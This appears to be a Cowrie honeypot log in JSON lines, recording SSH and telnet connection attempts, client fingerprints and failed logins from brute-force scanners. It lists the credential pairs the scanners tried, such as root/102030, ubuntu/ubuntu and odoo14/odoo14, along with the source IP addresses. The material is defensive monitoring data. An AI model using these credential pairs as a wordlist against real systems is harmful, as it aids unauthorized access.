{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:51.749787Z","src_ip":"45.156.87.253","session":"9418b1ed1bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55946,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1f805623e49","protocol":"ssh","message":"New connection: 45.156.87.253:55946 (10.17.0.5:22) [session: e1f805623e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:53.744382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:53.748508Z","src_ip":"45.156.87.253","session":"e1f805623e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:53.833411Z","src_ip":"45.156.87.253","session":"e1f805623e49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"root","message":"login attempt [home/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:54.078638Z","src_ip":"45.156.87.253","session":"e1f805623e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:55.162934Z","src_ip":"45.156.87.253","session":"e1f805623e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55950,"dst_ip":"10.17.0.5","dst_port":22,"session":"396fe5563d07","protocol":"ssh","message":"New connection: 45.156.87.253:55950 (10.17.0.5:22) [session: 396fe5563d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:57.114072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:57.118286Z","src_ip":"45.156.87.253","session":"396fe5563d07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:57.198324Z","src_ip":"45.156.87.253","session":"396fe5563d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:57.438730Z","src_ip":"45.156.87.253","session":"396fe5563d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:10:58.537036Z","src_ip":"45.156.87.253","session":"396fe5563d07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36062,"dst_ip":"10.17.0.5","dst_port":22,"session":"61c2a5d69171","protocol":"ssh","message":"New connection: 45.156.87.253:36062 (10.17.0.5:22) [session: 61c2a5d69171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:00.436326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:00.445745Z","src_ip":"45.156.87.253","session":"61c2a5d69171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:00.527664Z","src_ip":"45.156.87.253","session":"61c2a5d69171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:00.943936Z","src_ip":"45.156.87.253","session":"61c2a5d69171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:02.028259Z","src_ip":"45.156.87.253","session":"61c2a5d69171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36068,"dst_ip":"10.17.0.5","dst_port":22,"session":"a58711188e26","protocol":"ssh","message":"New connection: 45.156.87.253:36068 (10.17.0.5:22) [session: a58711188e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:04.023973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:04.026701Z","src_ip":"45.156.87.253","session":"a58711188e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:04.107089Z","src_ip":"45.156.87.253","session":"a58711188e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:04.351012Z","src_ip":"45.156.87.253","session":"a58711188e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.163.244.125","src_port":57990,"dst_ip":"159.203.135.109","dst_port":22,"session":"fed07bf54d48","protocol":"ssh","message":"New connection: 192.163.244.125:57990 (159.203.135.109:22) [session: fed07bf54d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:05.201728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:05.205780Z","src_ip":"192.163.244.125","session":"fed07bf54d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:05.289026Z","src_ip":"192.163.244.125","session":"fed07bf54d48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:05.435231Z","src_ip":"45.156.87.253","session":"a58711188e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crosschainbridge","password":"bridge123","message":"login attempt [crosschainbridge/bridge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:05.526380Z","src_ip":"192.163.244.125","session":"fed07bf54d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":46862,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b1457043e9","protocol":"telnet","message":"New connection: 72.167.226.244:46862 (10.17.0.5:23) [session: 04b1457043e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:06.281982Z"}
{"eventid":"cowrie.session.closed","duration":30.82421350479126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:06.710272Z","src_ip":"14.47.200.242","session":"40950e031aea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":41464,"dst_ip":"159.203.135.109","dst_port":23,"session":"b05be2726127","protocol":"telnet","message":"New connection: 14.47.200.242:41464 (159.203.135.109:23) [session: b05be2726127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:06.914450Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":36076,"dst_ip":"10.17.0.5","dst_port":22,"session":"efd6f514b145","protocol":"ssh","message":"New connection: 45.156.87.253:36076 (10.17.0.5:22) [session: efd6f514b145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:07.310068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:07.314063Z","src_ip":"45.156.87.253","session":"efd6f514b145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:07.394516Z","src_ip":"45.156.87.253","session":"efd6f514b145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:07.638688Z","src_ip":"45.156.87.253","session":"efd6f514b145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"GM8182","message":"login attempt [root/GM8182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:07.769443Z","src_ip":"14.47.200.242","session":"b05be2726127","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:08.659892Z","src_ip":"14.47.200.242","session":"b05be2726127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:08.774698Z","src_ip":"45.156.87.253","session":"efd6f514b145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:09.559451Z","src_ip":"14.47.200.242","session":"b05be2726127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59442,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4fcc661a923","protocol":"ssh","message":"New connection: 45.156.87.253:59442 (10.17.0.5:22) [session: e4fcc661a923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:10.707531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:10.711583Z","src_ip":"45.156.87.253","session":"e4fcc661a923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:10.792948Z","src_ip":"45.156.87.253","session":"e4fcc661a923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:11.037816Z","src_ip":"45.156.87.253","session":"e4fcc661a923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:12.122311Z","src_ip":"45.156.87.253","session":"e4fcc661a923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59448,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f200fc474f","protocol":"ssh","message":"New connection: 45.156.87.253:59448 (10.17.0.5:22) [session: 60f200fc474f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:14.135387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:14.143154Z","src_ip":"45.156.87.253","session":"60f200fc474f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:14.223877Z","src_ip":"45.156.87.253","session":"60f200fc474f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:14.467915Z","src_ip":"45.156.87.253","session":"60f200fc474f","protocol":"ssh"}
